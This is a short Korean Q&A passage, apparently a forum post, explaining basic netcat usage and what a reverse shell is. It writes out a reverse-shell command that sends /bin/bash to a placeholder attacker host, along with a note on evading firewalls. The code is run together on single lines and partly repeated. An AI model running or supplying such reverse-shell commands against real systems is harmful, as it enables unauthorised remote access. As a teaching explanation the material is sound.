Netcat이 해커의 맥가이버 칼이라고 들었는데, 기본 사용법과 리버스 셸이 뭔지 알려주세요.
Netcat(nc)은 TCP/UDP 연결을 다루는 다목적 도구입니다.
기본 사용법:
# 포트 리스닝nc -lvp 4444# 연결nc target_ip 4444# 파일 전송nc -lvp 4444 > received.txt # 수신nc target_ip 4444 < file.txt # 전송# 배너 그래빙nc -v target_ip 80GET / HTTP/1.0
리버스 셸: 타겟이 공격자에게 연결하여 셸을 제공하는 것
# 공격자 (리스닝)nc -lvp 4444# 타겟 (연결)nc -e /bin/bash attacker_ip 4444
방화벽이 인바운드는 차단하되 아웃바운드는 허용하는 경우가 많아, 리버스 셸이 바인드 셸보다 성공률이 높습니다.
댓글 1
Netcat(nc)은 TCP/UDP 연결을 다루는 다목적 도구입니다.
기본 사용법:
리버스 셸: 타겟이 공격자에게 연결하여 셸을 제공하는 것
방화벽이 인바운드는 차단하되 아웃바운드는 허용하는 경우가 많아, 리버스 셸이 바인드 셸보다 성공률이 높습니다.